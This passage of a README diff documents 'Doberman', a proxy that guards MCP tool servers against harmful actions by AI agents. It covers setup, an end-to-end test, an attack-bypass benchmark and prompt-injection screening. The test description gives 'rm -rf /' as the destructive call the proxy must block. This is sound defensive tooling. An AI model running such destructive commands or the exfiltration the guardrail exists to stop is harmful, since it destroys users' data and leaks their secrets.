|
189
|
+
|
|
190
|
+
# After — wrap it with Doberman:
|
|
191
|
+
doberman serve -- npx -y @modelcontextprotocol/server-filesystem ~/my-project
|
|
192
|
+
# ^^ the -- separator: everything after is your existing tool server command
|
|
193
|
+
```
|
|
194
|
+
|
|
195
|
+
To specify which repo's policy governs decisions (defaults to the current directory):
|
|
196
|
+
|
|
197
|
+
```bash
|
|
198
|
+
doberman serve --path ~/my-project -- npx -y @modelcontextprotocol/server-filesystem ~/my-project
|
|
199
|
+
```
|
|
200
|
+
|
|
201
|
+
Doberman communicates over **stdio** — it spawns your tool server as a managed subprocess and speaks standard MCP. Your agent sees one server entry; the real tool server runs silently behind it.
|
|
202
|
+
|
|
203
|
+
### 3. Point your agent at Doberman
|
|
204
|
+
|
|
205
|
+
Replace your agent's existing MCP server entry with the Doberman-wrapped version.
|
|
206
|
+
|
|
207
|
+
**Claude Code (CLI):**
|
|
208
|
+
```bash
|
|
209
|
+
claude mcp add doberman -- doberman serve -- npx -y @modelcontextprotocol/server-filesystem ~/my-project
|
|
210
|
+
```
|
|
211
|
+
|
|
212
|
+
**Claude Desktop** (`~/Library/Application Support/Claude/claude_desktop_config.json` on Mac,
|
|
213
|
+
`%APPDATA%\Claude\claude_desktop_config.json` on Windows):
|
|
214
|
+
```json
|
|
215
|
+
{
|
|
216
|
+
"mcpServers": {
|
|
217
|
+
"doberman": {
|
|
218
|
+
"command": "doberman",
|
|
219
|
+
"args": ["serve", "--",
|
|
220
|
+
"npx", "-y", "@modelcontextprotocol/server-filesystem", "~/my-project"]
|
|
221
|
+
}
|
|
222
|
+
}
|
|
223
|
+
}
|
|
224
|
+
```
|
|
225
|
+
|
|
226
|
+
**Cursor, Codex, or any MCP-compatible client** — use the same `mcpServers` format in your client's MCP config file, substituting your own tool server command after `--`.
|
|
227
|
+
|
|
228
|
+
### 4. Scan (optional)
|
|
229
|
+
|
|
230
|
+
```bash
|
|
231
|
+
doberman scan # discover local MCP capabilities and build a risk map
|
|
232
|
+
```
|
|
233
|
+
|
|
234
|
+
Basic protection works immediately out of the box. Pick a strength mode to match your risk tolerance.
|
|
235
|
+
|
|
236
|
+
---
|
|
237
|
+
|
|
238
|
+
## Verify it end-to-end (real downstream, no fakes)
|
|
239
|
+
|
|
240
|
+
Two ways to watch Doberman front a **real** MCP server — no in-process test doubles anywhere in the chain.
|
|
241
|
+
|
|
242
|
+
**Interactive demo — MCP Inspector + a real filesystem server:**
|
|
243
|
+
|
|
244
|
+
```bash
|
|
245
|
+
npx -y @modelcontextprotocol/inspector doberman serve -- npx -y @modelcontextprotocol/server-filesystem ~/my-project
|
|
246
|
+
```
|
|
247
|
+
|
|
248
|
+
Open the Inspector UI and call tools through Doberman: routine reads and writes PASS straight through to the real filesystem server; a destructive call comes back as a policy error and never executes.
|
|
249
|
+
|
|
250
|
+
**End-to-end test — in a dev checkout:**
|
|
251
|
+
|
|
252
|
+
```bash
|
|
253
|
+
pytest tests/integration/test_serve_end_to_end.py -q
|
|
254
|
+
```
|
|
255
|
+
|
|
256
|
+
This spawns `doberman serve` as a real subprocess fronting a real stdio tool server ([`tests/fixtures/stdio_tool_server.py`](tests/fixtures/stdio_tool_server.py)), connects to it with a real MCP client playing the agent, and asserts the deployable chain over actual stdio:
|
|
257
|
+
|
|
258
|
+
1. the downstream's tools are re-exposed through the proxy,
|
|
259
|
+
2. a PASS verdict reaches the tool (the downstream's call log records it), and
|
|
260
|
+
3. a BLOCK verdict (`rm -rf /`) never reaches it — the call log stays empty.
|
|
261
|
+
|
|
262
|
+
That last assertion is the **chokepoint property** the whole project hangs on.
|
|
263
|
+
|
|
264
|
+
> **Note on the test fixtures:** the rest of the integration suite deliberately uses an *in-process* fake downstream ([`tests/fixtures/fake_tool_server.py`](tests/fixtures/fake_tool_server.py)) that records every call it executes — recording is how the tests prove a blocked action reached *nothing*. It is a test fixture, not the runtime. `doberman serve` always spawns and talks to the real server you give it after `--`.
|
|
265
|
+
|
|
266
|
+
---
|
|
267
|
+
|
|
268
|
+
## Benchmark it (ASR / FPR)
|
|
269
|
+
|
|
270
|
+
A suite-agnostic harness scores Doberman as a **filter over labeled actions** and reports **ASR** (attack bypass rate) and **FPR** (benign over-block / friction). It runs the real decision engine over each labeled tool-call — Doberman is the filter, not the agent — so the gated path is deterministic and offline.
|
|
271
|
+
|
|
272
|
+
```bash
|
|
273
|
+
python -m tests.benchmarks.run --suite synthetic --profile both
|
|
274
|
+
```
|
|
275
|
+
|
|
276
|
+
It reports two profiles — `builtins_only` and `with_plugins` (built-ins plus any installed entry-point plugins) — and their uplift. A deterministic synthetic suite gates in CI; map external task suites (**AgentDojo**, AgentDyn, AgentSentry, …) onto core's types with a small adapter — see [`tests/benchmarks/README.md`](tests/benchmarks/README.md).
|
|
277
|
+
|
|
278
|
+
> Reports hold counts, verdicts, and reason codes only — never payload text. ASR is reported alongside a stricter `asr_strict` (where only a hard `BLOCK` counts as mitigation): honest measurement, not a single headline number.
|
|
279
|
+
|
|
280
|
+
---
|
|
281
|
+
|
|
282
|
+
## Tune to your risk tolerance
|
|
283
|
+
|
|
284
|
+
Set a mode in `.doberman/policies.yaml` or via `doberman policy set-mode <mode>`:
|
|
285
|
+
|
|
286
|
+
| Mode | Best for | Bulk-delete threshold | Step-up for unknown destinations | Step-up for behavioral anomalies |
|
|
287
|
+
|---|---|---|---|---|
|
|
288
|
+
| **Light** | Exploratory / trusted environments | 100 files | Yes | No |
|
|
289
|
+
| **Balanced** *(default)* | Everyday coding agents | 25 files | Yes | Yes |
|
|
290
|
+
| **Strict** | Production repos, shared codebases | 10 files | Yes | Yes |
|
|
291
|
+
| **Paranoid** | Highly autonomous or security-critical agents | 3 files | Yes | Yes |
|
|
292
|
+
|
|
293
|
+
> Hard blocks (secret exfiltration, destructive commands, role-boundary violations, smuggled-token-channel exfiltration) are **identical in every mode**. The mode dial only affects where step-up authentication is required for ambiguous or high-risk actions.
|
|
294
|
+
|
|
295
|
+
---
|
|
296
|
+
|
|
297
|
+
## Who is this for?
|
|
298
|
+
|
|
299
|
+
- **Developers running AI coding agents** who want autonomous agents without `rm -rf` roulette.
|
|
300
|
+
- **Security engineers** evaluating AI agent security, MCP security, LLM tool-use sandboxing, and zero-trust architectures for agentic AI.
|
|
301
|
+
- **Platform teams** deploying agent fleets who need policy enforcement, audit logs, and human-in-the-loop approval for destructive actions.
|
|
302
|
+
|
|
303
|
+
---
|
|
304
|
+
|
|
305
|
+
## Roadmap <a name="roadmap"></a>
|
|
306
|
+
|
|
307
|
+
- ✅ Tool mediation · decision engine · objective guardrail (paths, commands, destinations, secrets, **smuggled-token channels**) · subjective guardrail (adaptive behavioral baselines, **OOD/homoglyph token signals**) · roles & boundaries · capability discovery · tiered auth (confirm → TOTP → scoped elevation) · audit log · policy-drift & poisoning defense · universal subjective layer (SL1–SL9) · turn gate (pre-inference prompt-injection screening)
|
|
308
|
+
- ✅ Benchmark harness (suite-agnostic ASR/FPR over labeled actions; `builtins_only` vs `with_plugins`; deterministic synthetic gate; external-suite adapters via `tests/benchmarks/`)
|
|
309
|
+
- 📋 Cost observability (`CostEvent` meter + raise-only loop-anomaly detection)
|
|
310
|
+
- 📋 Enterprise platform: centralized control plane, dashboards, org policy, SSO/RBAC
|
|
311
|
+
|
|
312
|
+
---
|
|
313
|
+
|
|
314
|
+
## License
|
|
315
|
+
|
|
316
|
+
Apache-2.0. The core is genuinely standalone — no proprietary dependency, ever (CI-enforced).
|
|
317
|
+
|
|
318
|
+
---
|
|
319
|
+
|
|
320
|
+
<sub>AI agent security · MCP security · MCP proxy · MCP firewall · AI guardrails · agentic AI safety · prompt injection defense · tool poisoning defense · LLM tool-use authorization · human-in-the-loop AI · AI agent sandbox · runtime AI security · zero trust for AI agents · Claude Code security · autonomous agent governance · data exfiltration prevention · adaptive anomaly detection · open source AI security</sub>
|